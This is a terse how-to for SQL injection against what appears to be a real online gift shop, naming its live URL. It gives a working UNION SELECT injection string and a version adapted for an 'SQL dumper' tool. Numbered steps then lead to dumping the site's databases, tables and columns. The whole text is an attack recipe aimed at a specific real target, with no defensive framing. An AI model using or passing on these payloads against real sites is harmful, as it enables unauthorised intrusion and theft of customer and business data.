1. find the injection string
live sample:
http://dora-gifts.gr/productlist.php?columnid=180%20union%20all%20select%201,2,3,4--
2. column 2 is visible, replace it with [target]
3. input in sql dumper without the comment
http://dora-gifts.gr/productlist.php?columnid=180%20union%20all%20select%201,[target],3,4
4. double check the comment in the setup tab if the same
5. click on get database
6. click on get tables
7. click get columns
8. select 2 or 3 columns
9. click on dump